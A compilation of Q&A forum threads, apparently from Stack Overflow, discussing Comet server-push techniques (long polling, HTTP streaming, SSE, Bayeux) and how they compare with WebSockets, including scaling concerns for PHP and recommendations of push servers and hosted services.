you explode the HTTP-based push mechanisms you can identify : .. . .. . HTTP Streaming .. . HTTP Long Polling .. . HTTP Polling .. . .. . Traditionally the Comet term coinded in 2006 by Alex Russell has been referring to both HTTP Streaming and HTTP Polling . But consider that the first implementations of HTTP Streaming go back to 2000 well before the Comet term was coined examples are Pushlets and Lightstreamer . Now WebSockets make it simpler to implement Web Streaming especially for the backward channel messages sent from the browser to the server . For a more detailed explanation on the peculiarities of the backward channel over HTTP see the final part of this article I wrote for CometDaily : http : cometdaily.com 2011 07 06 push-technology-comet-and-websockets-10-years-of-history-from-lightstreamers-perspective .. . .. . As pointed out by Phil Comet is still necessary and will probably be for some more years as there are not only old browsers around including IE9 which does not support WebSockets.. . but also infinite pieces of network intermediaries that do not speak WS . For example we have seen that some mobile carriers in some countries for example Vodafone Italy support WSS but block WS . So a world without the Comet hacks is still far away.. . And let me add-on a personal note that I ve never loved the term hack applied to Comet or from a more correct historical point of view applied to HTTP Streaming and HTTP Long Polling . Having worked on these techniques for 12 years now I can say we have been able to refine them so much that they have become a full-blown technology themselves completely reliable and used every day in many critical production scenarios in finance aerospace and military to name a few industries . Now let s imagine a world where WebSockets are universally supported and Comet is no more necessary . What do you get exactly Well just a bi-directional transport nothing more.. . On the top of it you need to build everything : a messaging protocol perhaps based on pub sub a server-side interface to talk to your server code and a good set of optimization techniques and algorithms to manage the data flow including bandwidth management data conflation automatic throttling delta delivery etc . The good thing is that both the messaging protocols and the optimization mechanisms have already been implemented by good Comet solutions . So extending former Comet servers to support WebSocket is the natural evolution that all of us vendors have implemented . So in a nutshell in a not-so-near future WebSockets might make Comet transports obsolete but will need to suck in all the higher layers already implemented and well tested on traditional Comet servers . Comment : Great points thanks for sharing Comment : you said in a websockets world without comet you just get full-duplex communication without a messaging protocol pub sub . But that is not necessarily true . What about redis Redis supports pub sub . Comment : @Donato : Exactly in this case it would be Redis to add the messaging protocol not the websocket itself . This confirms what I said : WS is just a bi-directional transport . If you need pub sub you need some other protocol on the top of it for example Redis .", "Question : I have read some posts about this topic and the answers are comet reverse ajax http-streaming server-push etc . How does incoming mail notification on Gmail works http : stackoverflow.com questions 988082 how-does-incoming-mail-notification-on-gmail-works .. . .. . How is GMail Chat able to make AJAX requests without client interaction http : stackoverflow.com questions 732705 how-is-gmail-chat-able-to-make-ajax-requests-without-client-interaction .. . .. . I would like to know if there are any code references that I can follow to write a very simple example . Many posts or websites just talk about the technology . It is hard to find a complete sample code . Also it seems many methods can be used to implement the comet e.g . Hidden IFrame XMLHttpRequest . In my opinion using XMLHttpRequest is a better choice . What do you think of the pros and cons of different methods Which one does Gmail use I know it needs to do it both in server-side and client-side . Is there any PHP and Javascript sample code .. . Answer : According to a slideshow about Facebook s Messaging system http : www.erlang-factory.com upload presentations 31 EugeneLetuchy-ErlangatFacebook.pdf Facebook uses the comet technology to push message to web browsers . Facebook s comet server is built on the open sourced Erlang web server mochiweb . In the picture below the phrase channel clusters means comet servers . System overview http : i.stack.imgur.com 9Craq.jpg .. . .. . Many other big web sites build their own comet server because there are differences between every company s need . But build your own comet server on a open-source comet server is a good approach . You can try icomet https : github.com ideawu icomet a C1000K C++ comet server built with libevent . icomet also provides a JavaScript library it is easy to use as simple as : .. . .. . icomet supports a wide range of Browsers and OSes including Safari iOS Mac IEs Windows Firefox Chrome etc .", "Question : I have been developing web-applications for some time but have very recently been introduced with the Comet server-side push technology and my understanding of this technology is very immature . While the link http : www.zeitoun.net articles comet and php start provides two simplistic example implementations using an infinite-loop in PHP I would like to know more on the repurcussions of the above methods and if it is suitable for production . What advantages do dedicated comet servers like Meteor http : meteorserver.org streamhub http : www.stream-hub.com freeliberator http : www.freeliberator.com index.php Also how different is Comet server-side push from HTML5 web socket facility My principle objective is to build a variant of collaborative real-time document editing facility . .. . Answer : While the link http : www.zeitoun.net articles comet and php start provides two simplistic example implementations using an infinite-loop in PHP I would like to know more on the repurcussions of the above methods and if it is suitable for production . This solution is one of the factors that has resulted in the concencus that PHP and Comet WebSockets don t scale . See : .. . .. . solution for COMET and PHP http : stackoverflow.com questions 1961206 solution-for-comet-and-php .. . Using comet with PHP http : stackoverflow.com questions 603201 using-comet-with-php .. . .. . What advantages do dedicated comet servers like Meteor http : meteorserver.org streamhub http : www.stream-hub.com freeliberator http : www.freeliberator.com index.php The advantages are that these solution were built with the idea of handling multiple concurrent connections in mind . They also provide libraries which offer additional functionality such as pub sub http : en.wikipedia.org wiki Publish E2 80 93subscribe pattern which you are likely to want and therefore have to implement yourself . I worked for Caplin Systems who built the Liberator product and it s a highly tuned software solutions built entirely to handle and solve this solution . Also how different is Comet server-side push from HTML5 web socket facility Answer taken from here http : stackoverflow.com questions 7788842 ajax-comet-is-there-any-solution-microsoft-is-working-on-or-supports-to-allow 7795439 : .. . .. . Comet is an umbrella term and there are many Comet Servers see below that use WebSockets as the transport mechanism when possible . Comet servers don t just use AJAX XHR Long-Polling Forever-Frame etc . They now use WebSockets and fallback to other transport mechanisms where required . .. . Here are just some of the Comet Servers that use WebSockets : .. . .. . StreamHub : http : streamhub.blogspot.com 2010 12 html-5-web-sockets-arrives-in-streamhub.html .. . APE Native WebSockets : http : www.ape-project.org .. . Caplin Liberator : http : www.caplin.com caplin liberator.php .. . Migratory : http : migratory.ro migratory-push-server.html .. . CometD : http : cometdproject.dojotoolkit.org documentation 2.x howtos websocket .. . .. . My principle objective is to build a variant of collaborative real-time document editing facility . I d recommend that you don t try and implement a solution for Comet WebSockets from scratch . It s a very well understood problem with a number of excellent solutions . And the solution still isn t simple to implement from scratch . The interesting problem you ll need to solve is one of state synchronisation across multiple clients so the great thing about these existing realtime technologies is that you can use them and concentrate on building your app . Possibly also of interest : .. . .. . XMPP BOSH v Comet http : stackoverflow.com questions 7327153 xmpp-bosh-vs-comet .. . Realtime Web Technologies Guide http : www.leggetter.co.uk real-time-web-technologies-guide Comment : fantastic answer . Thank you .", "Question : Well I have doubts about this technology more precisely in its implementation can not find good examples on the Internet as it involves javascript and php only you would have some links where I can find this stuff really works and that Comment : Check out this wiki article : en.wikipedia.org wiki Push technology http : en.wikipedia.org wiki Push technology Comment : Uh what ........ . Comment : I found this . . but don t understand the logic . . blog.perplexedlabs.com 2009 05 04 http : blog.perplexedlabs.com 2009 05 04 php-jquery-ajax-javascript-long-polling .. . Answer : A great source for all things Comet is Comet Daily http : cometdaily.com . Unfortunately it s not updated all that often any more but there are some fantastic old articles in there . It s contributed to by guys that have been developing Comet solutions for over 10 years . Comet seems to get incorrectly bundled as meaning just one particular connection mechanism is used but it s actually a paradigm for realtime push from server to client . Comet servers can use HTTP Streaming HTTP Long-Polling classic polling and WebSockets . If you are interested in the latest Push Technology then you should take a look at WebSockets http : en.wikipedia.org wiki WebSocket which is a standardised approach to not only server to client push but also bi-directional realtime communication between servers and clients web browsers and other clients . Some current trending push technologies are : .. . .. . socket.io http : socket.io .. . Hosted WebSockets services such as Pusher http : pusher.com - who I work for .. . Faye http : faye.jcoglan.com for self hosted Ruby or Node dev .. . SignalR https : github.com SignalR SignalR for IIS and .NET .. . There are many more and more information on realtime web technologies can be found on this guide http : www.leggetter.co.uk real-time-web-technologies-guide . If you want to use PHP you could struggle to build an application using realtime Push which will scale above a small number of connections . Have a read through this question on concurrency - How to implement event listening in PHP http : stackoverflow.com questions 7469396 how-to-implement-event-listening-in-php for more information . Comment : Phil is way to modest and polite . Go with Pusher and be done with it . Amazing simple tool with great support . IMO there is no reason to mess with Comet etc these days .", "Question : I am implementing a system where I need real-time updates . I have been looking at certain scenarios and among all was Comet . Implementing this I do not see any way this is different from traditional long-polling . In both cases you have to send a request and then the server send a response back . In the browser you interpret the response and then you start a new request . So why should I use comet if in both cases I need to open and close connections . Comment : READ THIS : cometdaily.com 2007 12 11 http : cometdaily.com 2007 12 11 the-future-of-comet-part-1-comet-today .. . Answer : As mentioned by Marcelo Comet http : en.wikipedia.org wiki Comet 28programming 29 is usually used to describe any techniques for HTTP streaming including long-polling . In some cases Comet might also refer more specifically to the Bayeux Protocol http : svn.cometd.com trunk bayeux bayeux.html . For instance the jQuery Comet http : plugins.jquery.com project Comet plugin is of this protocol . From the Bayeux website : .. . .. . Delivery of asynchronous messages from the server to a web client is often described as server-push . The combination of server-push techniques with an Ajax web application has been called Comet . CometD is a project by the Dojo Foundation to provide multiple implementation of the Bayeux protocol in several programming-languages . Bayeux is an attempt to standardize a publish-subscribe protocol using Comet techniques allowing for vendors of client and server-side libraries to create interoperable components . Comment : Can you achieve http-streaming with jQuery Comet . Thus with only one request and multiple responses . I see many websites that refer to the theoretical technique but I can not find a tiny example app Comment : One request with multiple response should be possible using an iframe as transfer media . I am not sure if the jQuery plugin supports this optional part of the Bayeux protocol . Comment : +1 this deserves more votes than my answer .", "Question : After searching the web for a good Comet http : en.wikipedia.org wiki Comet 5F 28programming 29 and also and asking you guys what my best option is I ve chose to go with Orbited http : orbited.org . The problem is if you need a good documentation about Comet you won t find . I ve installed Orbited and It seems It works just fine . Basically I want to constantly check a database and see if there is a new data . If there is I want to push it to my clients and update their home page but I can t find any good and clear doc explaining how constantly check the database and push the new info to Orbited and then to the clients . Have you guys implemented that Also how many users can Orbited handle Any ideas Comment : AFAIK Orbited has been tested with 10k idling clients . Check the last entry on http : cometdaily.com 2008 03 14 comet-gazing-maturity - Michael Carter .. . Answer : I would use the STOMP protocol with Orbited to communicate and push data to clients . Just find a good STOMP client with PHP and get started . Here is an example of a use-case with STOMP although the server-side is written in Ruby : http : fuglyatblogging.wordpress.com 2008 10 .. . .. . I don t know if PHP with Apache if that s what you are using is the best suite for monitoring database changes . Read this article under the section title Orbited Server for an explanation : http : thingsilearned.com 2009 06 09 starting-out-with-comet-orbited-part-1 .. . .. . EDIT : If you want to go the route with PHP through a web server you need to make one and one only request to a script that starts the monitoring and pushes out changes . And if that script times out or fails you need to start a new one . A bit fugly : A nicer cleaner way would be for example to use twisted with python to start a monitoring process completely separated from the web-server .", "Question : Is Comet an Architecture style and Websockets HTTP Streaming SSE BOSH Bayeux are different implementations of this architecture style .. . Answer : The term Comet https : en.wikipedia.org wiki Comet programming was born as a joke on the term Ajax . AJAX as Asynchronous JavaScript and XML is a technique to perform HTTP requests and handle HTTP responses from the browser s JavaScript engine . At the time Ajax was also a cleaning product . When techniques to perform low-latency delivery to browsers of server-side events started to be explored by developers using AJAX the term Comet was coined https : infrequently.org 2006 03 comet-low-latency-data-for-the-browser because at the time Comet was another cleaning product supposedly better than the Ajax cleaning product and Comet techniques were better than Ajax techniques . Comet is a series of HTTP techniques for the web used to notify clients typically browsers of server-side events with very small latencies far less than a second . Long Polling is one such technique probably the most popular and reliable . Other such techniques include the hidden iframe script injection aka JSONP and infinite response aka streaming techniques for example using HTTP 1.1 s Transfer-Encoding : chunked mechanism . Now Server Sent Events SSE aka EventSource https : www.w3.org TR eventsource is a streaming technique that has been standardized although recently has not seen much development . Rather than using the Transfer-Encoding : chunked mechanism SSE uses Content-Type : text event-stream that browsers implement and a simple protocol on top of the HTTP transport mechanism . This means that the content that comes down from the server has a format - defined by this simple protocol - that needs to be parsed by the browser to be converted into events passed to the JavaScript engine and applications have an API to be able to listen to these JavaScript events . BOSH defined by XEP-0124 http : www.xmpp.org extensions xep-0124.html is a variant of the long-polling technique especially used in XMPP and as such it is too a Comet technique . Bayeux https : docs.cometd.org current reference bayeux is a transport-agnostic protocol that define channel and message semantic on top of a transport protocol such as HTTP or WebSocket . The CometD https : cometd.org project uses Bayeux on top of HTTP and WebSocket to provide peer-to-peer publish-subscribe and remote-call functionalities https : docs.cometd.org current reference preface to applications . Other projects use the Bayeux protocol on top of either HTTP or WebSocket or both . Finally WebSocket is a transport protocol that has built-in bidirectional capabilities something that HTTP does not have . However it does not define the semantic of the payload it transports nor has metadata that describes it so it is usually used as a transport protocol for other protocols such as Bayeux . WebSocket is not a Comet technique because it is not based on HTTP . It really depends on what you mean with the word Architecture . I would say that Comet is a group of techniques to achieve low-latency events using HTTP . Long polling HTTP chunked streaming SSE BOSH are some of those Comet techniques . Bayeux is a transport-agnostic protocol based on JSON used for messaging . WebSocket is a bidirectional transport protocol that is used in conjunction with other typically transport agnostic protocols like Bayeux . Its support in browsers make it a replacement for Comet techniques .", "Question : I hear that I can use Comet http : en.wikipedia.org wiki Comet programming as a server-push technology along with my Ajax code to increase the performance of my web-applications . How mature this Comet technology Is it supported by all web servers programming-languages and browsers What are the disadvantages of using Comet .. . Answer : It is mature though I think you should consider it more of a technique than a technology . All web servers support it as far as I know though you will need to research and configure your particular web server if you are building a comet application as the demands on the resources are a bit different . Specifically there will be far more simultaneous open connections to your server . In terms of programming language support if your server language of choice has any sort of blocking or waiting mechanism you can support server-push . All browsers support it as well as from the perspective of a browser this is simply an http s connection that takes a long time to return . There are a couple of disadvantages in the browser world the biggest is probably the fact that some browsers limit the number of open connections to a specific URL to two . So if you have a server blocking connection open waiting for some pushed data you are down to only one connection available for the browser to get data from the server . This can be mitigated by spreading your resources over a few second level domains to allow the browser to open more connections . Comment : Will comet work on all browsers Are there old browsers that does not load content into the DOM incrementally", "Question : I hear that I can use Comet http : en.wikipedia.org wiki Comet programming as a server-push technology along with my Ajax code to increase the performance of my web-applications . How mature this Comet technology Is it supported by all web servers programming-languages and browsers What are the disadvantages of using Comet .. . Answer : Comet was actually in use before all the hype about AJAX started : It s just a new name for an old idea . People have been using hidden iframes to emulate server pushing for a long time without problems . Comment : Do you have a reference to work for a long time without problems Will comet work on all browsers Are there old browsers that does not load content into the DOM incrementally", "Question : It looks like Websockets in HTML 5 will become a new standard for server-push . Does that mean the server-push hack called Comet will be obsolete Is there a reason why I should learn how to implement comet when Websockets soon 1-2 years will be available in all major browsers Then I could just use Beaconpush http : beaconpush.com or Pusher http : pusher.com instead till then right .. . Answer : In the medium term websockets won t replace comet solutions not only because of lack of browsers support but also because of HTTP Proxies . Until most of HTTP Proxies will be updated to support websockets connections web developers will have to implement alternative solutions based on comet techniques to work in networks protected with this kind of proxies . In the short medium websockets will be just an optimization to be used when available but you will still need to implement long-polling comet to rely on when websockets are not available if you need to make your website accessible for a lot of customers with networks browsers not under your control . Hopefully this will be abstracted by javascript frameworks and will be transparent for web developers . Comment : Could u elaborate some more . Comment : Sure I have elaborated more my point is it ok now", "Question : It looks like Websockets in HTML 5 will become a new standard for server-push . Does that mean the server-push hack called Comet will be obsolete Is there a reason why I should learn how to implement comet when Websockets soon 1-2 years will be available in all major browsers Then I could just use Beaconpush http : beaconpush.com or Pusher http : pusher.com instead till then right .. . Answer : Yes because soon is a very slippery term . Many web shops still have to support IE6 . No because a rash of comet frameworks and servers has emerged in recent times that will soon make it largely unnecessary for you to get your hands dirty in the basement . Yes because soon is a very slippery term.. . Comment : which frameworks are you referring to but aren t today s available frameworks only using comet Comment : +1 . IE9 is years away . Comment : @ajsie : Today s frameworks http : cometdaily.com maturity.html support asynchronous server-push to the browser . Many of them support HTML 5 already with fallback to comet so you don t really have to care how they achieve it . Comment : @marcelo . but i dont get it . those frameworks are just servers i still have to write the code for handling server-push Comment : @ajsie : No they provide client bits .", "Question : What is the difference between a simple Async servlet and the Comet Bayeux protocol .. . .. . I am trying to implement a Server Push or Reverse Ajax kind of webpage that will receive updates from the server as and when events occur on the server . So even without the client explicitly sending a request I need the server to be able to send responses to the specific client browser . I understand that Comet is the umbrella term for these kind of technologies with Bayeux being the protocol . But when I looked through the servlet spec even the Async servlet seems to accomplish the same thing . I mean I can define a simple servlet with the .. . .. . attribute set to true in the web.xml and that servlet will be able to asynchronously send responses to the client . I can then have a jQuery or ExtJS based ajax client that just keeps doing a .. . .. . call into the servlet . Something like what is described in the link below http : www.ibm.com developerworks web library wa-reverseajax1 index.html long .. . .. . So my question is this : .. . .. . What is the difference between a simple Async servlet and the Comet Bayeux protocol .. . .. . Thanks .. . Answer : It is true that Comet is the term for these technologies but the Bayeux protocol is used only by few implementations . A Comet technique can use any protocol it wants Bayeux is one of them . Having said that there are two main differences between an async servlet solution and a Comet+Bayeux solution . The first difference is that the Comet+Bayeux solution is independent of the protocol that transports Bayeux . In the CometD http : cometd.org project there are pluggable transports for both clients and servers that can carry Bayeux . You can carry it using HTTP with Bayeux being the content of a POST request but you can also carry it using WebSocket with Bayeux being the payload of the WebSocket message . If you use async servlets you cannot leverage WebSocket which is way more efficient http : webtide.intalio.com 2011 09 cometd-2-4-0-websocket-benchmarks than HTTP . The second difference is that async servlets only carry HTTP and you need more than that to handle remote Comet clients . For example you may want to identify uniquely the clients so that 2 tabs for the same page result in 2 different clients . To do this you need add a property to the async servlet request let s call it sessionId . Next you want to be able to authenticate a client only authenticated clients can get a sessionId . But to differentiate between first requests to authenticate and others subsequent requests already authenticated you need another property say messageType . Next you want to be able to notify quickly disconnections due to network loss or other connectivity problems so you need to come up with a heart-beat solution so that if the heart beats you know the connection is alive if it does not beat you know it s dead and perform rescue actions . Next you need disconnect features . And so on . Quickly you realize that you re building another protocol on top of HTTP . At that point it s better to reuse an existing protocol like Bayeux and proven solutions like CometD which is based on Comet techniques using the Bayeux protocol that gives you : .. . .. . Java and JavaScript client libraries with simple yet powerful APIs .. . Java server library to perform your application logic without the need to handle low-level details such as HTTP or WebSocket via annotated services .. . Transport pluggability both client and server .. . Bayeux protocol extensibility .. . Lazy messages .. . Clustering .. . Top performance .. . Future proof : users of CometD before the advent of WebSocket did not change a line of code to take advantage of WebSocket - all the magic was implemented in the libraries .. . Based on standards .. . Designed and maintained by web protocols experts .. . Extended documentation http : docs.cometd.org .. . I can continue but you get the point : .. . .. . You don t want to use a low-level solution that ties you to HTTP only . You want to use a higher level solution that abstracts your application from the Comet technique used and from the protocol that transports Bayeux so that your application can be written once and leverage future technology improvements . As an example of technology improvement CometD was working well way before async servlets came into picture and now with async servlet just became more scalable and so your application without the need to change a single line in the application . By using a higher level solution you can concentrate on your application rather than on the gory details of how to write correctly an async servlet and it s not that easy as one may think . The answer to your question could be : you use Comet+Bayeux because you want to stand on the shoulder of giants http : en.wikipedia.org wiki Standing on the shoulders of giants . Comment : Wowww Thanks for the detailed answer . That answered most of my questions . I will keep this question open to see if anyone else replies . Else I will close this then . Thanks again . Comment : Hi Are there any Ext JS based client code for CometD that you can point me to Comment : Hi no I think there is not direct example with Ext JS client with Cometd but you can implement it for sure it s very easy as I have done it once .", "Question : We want to push data from a server to clients but can only use HTTP port 80 . What is the best solution for messaging One idea is Comet http : en.wikipedia.org wiki Comet 5F 28programming 29 . Are there other ideas or frameworks which offer lets say JMS over HTTP . Yes ActiveMQ supports it too but waggly IMHO . And JXTA supports it too but the configuration is complicated . Something simple is preferred . .. . Answer : We used COMET in conjunction with JMS using WAS Web 2.0 Feature Pack http : www.ibm.com developerworks websphere techjournal 0802 5Fhaverlock 0802 5Fhaverlock.html in effect the server did the JMS subscribe and COMET-pushed the message to the browser . as a developer it felt like the browser was subscribing to JMS . This just worked so we didn t look further for alternatives . I could imagine a pure JavaScript JMS implementation in the browser using HTTP as a transport but my instict is that this would be very heavyweight . I know of no such implementations .", "Question : Many Comet implementations like Caplin provide server scalable solutions . Following is one of the statistics from Caplin http : www.caplin.com caplin liberator.php site : .. . .. . A single instance of Caplin liberator can support up to 100 000 clients each receiving 1 message per second with an average latency of less than 7ms . .. . .. . How does this to compare to HTML5 websockets on any webserver Can anyone point me to any HTML 5 websockets statistics Comment : Your Caplin link is broken . Comment : A comment on HTML 5 websockets vs Comet : as stated in other comments below Caplin s Liberator along with a number of other Comet servers support WebSockets as a connection mechanism . When does a server stop being a Comet server If it uses WebSockets is it still a Comet server Is Comet an umbrella term for HTTP-Long Polling and HTTP Streaming I d recommend reading The Rumours of Comet s Death Have Been Greatly Exaggerated http : blog.caplin.com 2009 12 17 the-rumours-of-comets-death-have-been-greatly-exaggerated . Comment : I m going to keep this as a comment for now . But you really should consider EventSource aka Server-Sent Events as an option too . It makes scaling to many servers a lot easier because it s unidirectional push-only . .. . Answer : Ignoring any form of polling which as explained elsewhere can introduce latency when the update rate is high the three most common techniques for JavaScript streaming are : .. . .. . 1 . WebSocket .. . 2 . Comet XHR XDR streaming .. . 3 . Comet Forever IFrame .. . .. . WebSocket is by far the cleanest solution but there are still issues in terms of browser and network infrastructure not supporting it . The sooner it can be relied upon the better . XHR XDR Forever IFrame are both fine for pushing data to clients from the server but require various hacks to be made to work consistently across all browsers . In my experience these Comet approaches are always slightly slower than WebSockets not least because there is a lot more client-side JavaScript code required to make it work - from the server s perspective however sending data over the wire happens at the same speed . Here are some more WebSocket benchmark graphs http : www.my-channels.com developers nirvana concepts scalability benchmarks.html this time for our product my-Channels Nirvana http : www.my-channels.com . Skip past the multicast and binary-data graphs down to the last graph on the page JavaScript High Update Rate .. . .. . In summary - The results show Nirvana WebSocket delivering 50 events sec to 2 500k users with 800 microsecond latency . At 5 000 users total of 250k events sec streamed the latency is 2 milliseconds .", "Question : Is there a real solution for COMET AND PHP combination Basically I ve come to a point that I need to update a user home page periodically whenever there is new data in the database . As far as I understand I need to open a persistent connection between my server and my clients browsers to update the contents of their home page as soon as new info . available without dedicating a lot of resources but I had no luck finding anything clear about this issue . I read many articles suggests that PHP is not a good language to implement COMET . My web application is completely programmed in PHP and I don t want to learn another language but if I m forced to Would you suggest a good language to start with Do you think that I can program an interface just to handle this issue Thanks in advance . Comment : Duplicate : stackoverflow.com questions 603201 using-comet-with-php http : stackoverflow.com questions 603201 using-comet-with-php .. . Answer : The times I ve heard people say that PHP was not well suited for COMET like you said yourself was because of the way webservers and PHP work -- mostly because there is one process per page which means if you want 200 users connected to your server you ll need 200 processes which can quickly become a problem for a couple of hundred more users . Maybe a solution to that problem would be to use nginx http push module http : pushmodule.slact.net I ve not tried it yet but it might be just what we need.. . Comment : Interesting . Is there any examples of how to make use of it . for example how to push data from PHP script to a broswer Comment : I ve not seen any PHP example yet unfortunatly - I might try one day or another but not in the immediate future.. . Still if you try yourself and or find anything interesting I m interested by what you may find -", "Question : Of course I am aware of Ajax but the problem with Ajax is that the browser should poll the server frequently to find whether there is new data . This increases server load . Is there any better method even using Ajax other than polling the server frequently Comment : @Rachel - Live updates so you can see what others are doing . Good for sites like StackOverflow and for web-applications for collaboration like Google docs . Comment : Anyone doing this sort of thing in 2016 would probably find websockets to be a better choice for this sort of communication . .. . Answer : Yes its called Reverse Ajax or Comet . Comet is basically an umbrella term for different ways of opening long-lived HTTP requests in order to push data in real-time to a web browser . I d recommend StreamHub Push Server http : www.stream-hub.com they have some cool demos and its much easier to get started with than any of the other servers . Check out the Getting Started with Comet and StreamHub Tutorial http : streamhub.blogspot.com 2009 07 getting-started-with-streamhub-and.html for a quick intro . You can use the Community Edition which is available to download free but limited to 20 concurrent users . The commercial version is well worth it for the support alone plus you get SSL and Desktop .NET Java client adapters . Help is available via the Google Group http : groups.google.co.uk group streamhub-comet-server-community there s a good bunch of tutorials on the net and there s a GWT Comet adapter http : code.google.com p gwt-comet-streamhub too . Comment : Definitely the way to go once you get into implementing it yourself you realize how much there is to do - reconnection long-polling streaming iframes cross-browser support HTTPS.. . Comment : An explanation of what Comet is would help this answer Comment : @Satir : added a quick explanation . Other answers have links to the Wikipedia article . Comment : will StreamHUb work on the android the java adapter", "Question : I ve been trying to build a web based chat application for the past three weeks and i m facing issues with whatever route programming technique technology i take to build it . I ve explained the issues i ve experienced with all of em below . Kindly provide whatever insights you have in this . ASP.NET-AJAX .. . .. . 1 . First issue is that it is Not Really Real Time .. . 2 . If client hits the chat server every x seconds constant-time stamp it is not going to be real-time unless x is very very less .. . 3 . If x is very small like 1 second and if there are 1000 users online at the same time i think it is really going to hammer the chat server and cause scalability performance issues .. . .. . WCF-Duplex .. . .. . I unfortunately wasted considerable amount of time in this trying to build a WCF duplex service which maintains all the clients and invokes the client through the channel as and when required . But i recently learnt http : stackoverflow.com questions 3166578 updating-the-asp-net-page-from-the-asynchronous-wcf-duplex-call-object-scope that WCF duplex callback wont work with ASP.NET since http is request and respond type . I was following this great article http : www.codeproject.com KB WCF WCFWPFChat.aspx to build a duplex service . Comet ReverseAjax HTTP Server Push .. . .. . I m extremely new to this technique and wonder how well enough it can scale . After my first glance on this programming technique here in wiki http : en.wikipedia.org wiki Comet 28programming 29 and the very first article on Comet by Alex here http : alex.dojotoolkit.org 2006 03 comet-low-latency-data-for-the-browser i learned that the client always maintains an open connection long living ajax calls to the server which can be used by the server to push interesting events happening in the server to the browser client . So how well can it scale What if the max no of open connections exceed in IIS or any other issues like that Jabber Server Client XMPP .. . .. . I see that most of the prominent chat applications that can be seen online are making use of Jabber . I also learned that writing a Jabber server from the scratch is a tedious task . I have separate user-profile store for by application . Can i integrate that with Jabber easily Any open-source Jabber servers that i can host privately I ve seen many open-source tools to build the client easily .. . .. . Any insights provided are very much appreciated . Thank you .. . .. . NLV Comment : Some info on comet and ASP.NET : stackoverflow.com questions 65673 http : stackoverflow.com questions 65673 comet-implementation-for-asp-net .. . Answer : Open Source Jabber Server .. . .. . Have you checked out OpenFire http : www.igniterealtime.org projects openfire", "Question : I ve been trying to build a web based chat application for the past three weeks and i m facing issues with whatever route programming technique technology i take to build it . I ve explained the issues i ve experienced with all of em below . Kindly provide whatever insights you have in this . ASP.NET-AJAX .. . .. . 1 . First issue is that it is Not Really Real Time .. . 2 . If client hits the chat server every x seconds constant-time stamp it is not going to be real-time unless x is very very less .. . 3 . If x is very small like 1 second and if there are 1000 users online at the same time i think it is really going to hammer the chat server and cause scalability performance issues .. . .. . WCF-Duplex .. . .. . I unfortunately wasted considerable amount of time in this trying to build a WCF duplex service which maintains all the clients and invokes the client through the channel as and when required . But i recently learnt http : stackoverflow.com questions 3166578 updating-the-asp-net-page-from-the-asynchronous-wcf-duplex-call-object-scope that WCF duplex callback wont work with ASP.NET since http is request and respond type . I was following this great article http : www.codeproject.com KB WCF WCFWPFChat.aspx to build a duplex service . Comet ReverseAjax HTTP Server Push .. . .. . I m extremely new to this technique and wonder how well enough it can scale . After my first glance on this programming technique here in wiki http : en.wikipedia.org wiki Comet 28programming 29 and the very first article on Comet by Alex here http : alex.dojotoolkit.org 2006 03 comet-low-latency-data-for-the-browser i learned that the client always maintains an open connection long living ajax calls to the server which can be used by the server to push interesting events happening in the server to the browser client . So how well can it scale What if the max no of open connections exceed in IIS or any other issues like that Jabber Server Client XMPP .. . .. . I see that most of the prominent chat applications that can be seen online are making use of Jabber . I also learned that writing a Jabber server from the scratch is a tedious task . I have separate user-profile store for by application . Can i integrate that with Jabber easily Any open-source Jabber servers that i can host privately I ve seen many open-source tools to build the client easily .. . .. . Any insights provided are very much appreciated . Thank you .. . .. . NLV Comment : Some info on comet and ASP.NET : stackoverflow.com questions 65673 http : stackoverflow.com questions 65673 comet-implementation-for-asp-net .. . Answer : I know this is old but if somone new founds this you should consider using SignalR http : signalr.net", "Question : I m looking for the way to go i.e . the most efficient most used general accepted way when it comes to the reloading of data from a web server to a front end . In the end application I will have several output fields where data has to be written to for example like this : .. . .. . enter image description here http : i.stack.imgur.com 52flL.png .. . .. . The data streams will be different from each other in the end application . The lines will have to be reloaded with fresh up to-date data from the server . I have been thinking of using Ajax requests to update like every second but there has to be an other way to do this . Ajax requests will cause a lot data traffic . Also when using the Facebook chat you don t have to wait every second chats are received almost instantly . Yet I don t see any Ajax polling requests being made when I use the developer tools of Mozilla Firefox . This made me think if there would be a different way to do this . I ve looked into Node.js but it appears that isn t possible with my host . I have heard people talking about Ajax Push is that what I should use If so can you give me a basic usage example If not what would then be the way to go when having multiple data streams that have to be reloaded within a second Requirements are speed and low data traffic . It therefore wouldn t be an option to continuously poll the server I think because that would create an enormous overhead . I don t think it s of any importance but I m using PHP5.3 in the back end and JavaScript with jQuery 1.9.1 in the front end . .. . Answer : This question has been asked a number of times but in a slightly different ways . Here are a few references that are worth a read : .. . .. . What are Long-Polling Websockets Server-Sent Events SSE and Comet http : stackoverflow.com questions 11077857 what-are-long-polling-websockets-server-sent-events-sse-and-comet .. . Using comet with PHP http : stackoverflow.com questions 603201 using-comet-with-php .. . Apache with Comet Support http : stackoverflow.com questions 7684279 apache-with-comet-support .. . Server Scalability - HTML 5 websockets vs Comet http : stackoverflow.com questions 9107384 server-scalability-html-5-websockets-vs-comet .. . How to implement event listening in PHP http : stackoverflow.com questions 7469396 how-to-implement-event-listening-in-php .. . .. . In summary : if you are looking at building your solution using PHP on Apache then holding open persistent connections HTTP long-polling or streaming is going to use up resources very quickly is highly inefficient . So you would be better using a hosted solution http : www.leggetter.co.uk real-time-web-technologies-guide hosted-services disclaimer - I work for a hosted solution . HTTP-Long polling and HTTP Streaming are solutions which have been superseded by Server-Sent Events and WebSockets . So where possible where the web client provides support you should use one of these solutions before falling back to an HTTP-based solution . A good realtime web technology will automatically handle this for you . Since your diagram shows you are subscribing to multiple data streams you should also consider a Publish Subscribe http : en.wikipedia.org wiki Publish E2 80 93subscribe pattern solution that naturally fits with this . Again a good realtime web tech solution will provide you with this . Also see the realtime web technology guide http : www.leggetter.co.uk real-time-web-technologies-guide . Comment : +1 Tracking down this information took me a while for a project I recently released . I had zero web development experience and was surprised to learn that pushing data from web server to browser was so uncommon .", "Question : I was thinking of implementing real-time chat using a PHP backend but I ran across this comment on a site discussing comet : .. . .. . My understanding is that PHP is a terrible language for Comet because Comet requires you to keep a persistent connection open to each browser client . Using mod-php this means tying up an Apache child full-time for each client which doesn t scale at all . The people I know doing Comet stuff are mostly using Twisted Python which is designed to handle hundreds or thousands of simultaneous connections . Is this true Or is it something that can be configured around Comment : you can run php as fastcgi.. . Comment : Use nodeJS as a server to keep client connections websockets in javascript to connect to server from browser . PHP in this sense can be a priviledged client that will connect to nodejs push some service data that will be treated somehow on client-side . Comment : @ArtjomKurapov You can make PHP into a web server thus bypassing Apache s method of handling requests - think of it like a real PHP server taking care comet requests only . 